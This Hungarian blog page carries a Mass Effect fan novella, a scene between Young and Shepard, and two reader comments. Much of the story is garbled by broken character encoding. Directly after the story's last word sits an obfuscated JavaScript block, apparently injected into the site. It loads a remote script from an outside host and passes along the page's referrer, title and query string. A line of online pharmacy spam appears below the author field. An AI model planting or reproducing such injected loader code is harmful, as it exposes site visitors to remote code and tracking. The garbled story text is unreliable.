Az ablakon tA?l hatalmas vA?ros terA?lt el, amit egy folyA? hasA�tott kettA�. ZsA?folt volt, de bA�kA�s. HiA?ba szeltA�k a levegA�t A�rhajA?k, A�rkompok, A�gikocsik, hiA?ba nyA?zsA�gtek az A?riA?si A�pA?letek tA�vA�nA�l hangya mA?dra az emberek, Young mA�gis nyugodtnak A�rezte a FA�ldet. A vihar elA�tti csend.
a�� Young parancsnok? a�� csendA?lt egy hatA?rozott, de barA?tsA?gos hang a hA?ta mA�gA�tt. Megfordult A�s ott volt A?. Egyesek szerint hA�s, mA?sok szerint A?rulA?. Van, aki az emberisA�g jA�vA�jA�nek, van, aki az A?tkA?nak tartja. Young viszont nem lA?tott mA?st, csak sajA?t magA?t. Egy ugyanolyan katonA?t. HasonlA�tottak egymA?sra. Hajuk szA�ne A�s mA�rete megegyezet, szemA?kben ugyanaz a borzalmaktA?l terhes, mA�gis fA�nyes szikra csillogott. Termetre Young magasabb volt A�s szA�lesebb vA?llA?, mA�gsem A?llt volna ki vele A�kA�lharcban. A�rezte, hogy A? gyorsabb, ruganyosabb. Volt benne valami A?llatias, amit Young magA?bA?l mindig hiA?nyolt, ami miatt azt mondanA? magA?rA?l: szA?letett katona.
a�� Ami azt illeti, mA?r kapitA?ny vagyok. Hackett a visszatA�rtA?nkkor egy A?veg Whiskey-vel A�s az elA�lA�ptetA�semmel fogadott.
a�� GratulA?lok a�� vA?gta magA?t vigyA?zz A?llA?sba Shepard A�s tisztelgett. Young viszonozta.
a�� Mikor azt mondtA?k, nincs fogdA?ban, kicsit meglepA�dtem.
Shepard megA?llt mellette. EltA�nA�dve kinA�zett az ablakon. TalA?n A� is azt gondolta, mint Young.
a�� EgyelA�re nem tudjA?k, hogyan kezeljenek. HA�skA�nt, A?rulA?kA�nt vagy terroristakA�nt. Ma mA�g csak Vega hadnagy vigyA?zz rA?m a�� bA�kA�tt a hA?tuk mA�gA�tt csendben strA?zsA?lA? fiatal katonA?ra a��, holnap mA?r lehet, hogy rA?cs mA�gA�tt ebA�delek. a�� Szembefordult Younggal. a�� Hallom, kemA�ny volt odakint.
a�� Elvesztettem kA�t embert, megA�ltem majdnem egymilliA? A�lA�lA�nyt, A�s beszA�ltem egy kaszA?ssal, gondolom a HA�rnA�kkel. Igen, rA?foghatjuk, hogy kemA�ny volt. Mindezt a semmiA�rt.
a�� IdA�t nyert, kapitA?ny.
a�� IdA�t? A kaszA?sok amilyen gyorsan megtettA�k az Alfa relA� A�s a RelA�A?llomA?s kA�zti hA?romszA?z fA�nyA�vet, azt hiszem, kijelenthetjA?k, hogy tartA?s tejet mA?r nem A�rdemes vennA?nk. A kA?szA�bA?nkA�n vannak, Shepard, A�s senki nem tesz semmit.
a�� Dehogy nem, kapitA?ny! a�� jelentette ki ellentmondA?st nem tA�rA�en a parancsnok. a�� Maga, az emberei, Hackett admirA?lis, Anderson tanA?csos. Mind teszA?nk valamit. Harcolunk.
a�� A�s ez elA�g?
a�� Nekem bA�ven. Mert amA�g harcolunk, addig A�lA?nk.
Young elmosolyodott. Igen, szA?letett katona.
a�� Tudja talA?lkoztam Ashley-vel A�s MirandA?val a�� mondta kisvA?rtatva. Shepard nyelt egyet, majd kA�vA?ncsian a kapitA?nyra pillantott. Young kiA�lvezte a helyzetet. Shepard feszengve vA?rta, mit akar mondani, mA?rpedig biztos volt benne, hogy nem sok minden hozta zavarba a parancsnokot. VA�gA?l szA�les mosollyal kibA�kte:
a�� A maga helyA�ben nem aggA?dnA�k a kaszA?sok miatt. Az a kA�t nA� sokkal veszA�lyesebb.
Nevettek A?gy, mint akik utoljA?ra nevethetnek.
VA�GEvar _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Szerző:

dzsejt

Online Drugstore, provigil online cheap, Free shipping, tadapox online, Discount 10%, Prograf order online

71 thoughts on “Mass Effect: KA�sleltetA�s – rajongA?i novella”

  1. Ez tetszett. Talán még az Aquazone-nál is jobban. A karakterek jók voltak, a történet úgyszintén nem volt rossz, de ami a legjobban tetszett azok a beszólások. különösen a krogan pultosé (tockos vagy ital? Opcionális a választás és van árukapcsolás is. Ezen jót nevettem :D).

    Az egyetlen dolog viszont, ami nem tetszett, az az ismerős karakterek szerepeltetése volt – bár nem tudom van-e az íróknak segítő, Biowarenál kikiáltott dolgok, mint a KotOR-nál -, de egyszer sem biztos, hogy például Ashley maradt életben Vermire-n (bár többnyire én is őt mentettem meg :D), vagy felrobbant a collector bázis. Szó se róla, jó volt őket újra “látni”, de Ashleyt szerintem ki lehetett volna hagyni, nem csorbult volna az írás anélkül a pár összezörrenés nélkül.

    Várom a másik írást.

    1. Néhány dolgot már kanonizáltak a könyvek (pl.: Udina lett a Tanácstag), de úgy voltam vele, hogy a saját rajongói írásomba hadd szerepeljen már a saját kanon sztorivonalam, vagyis a Begyűjtő bázis kipukkadt, Ashley él és virul, Miranda is és Anderson a Tanácsos. 😀

Hozzászólások lehetősége itt nem engedélyezett.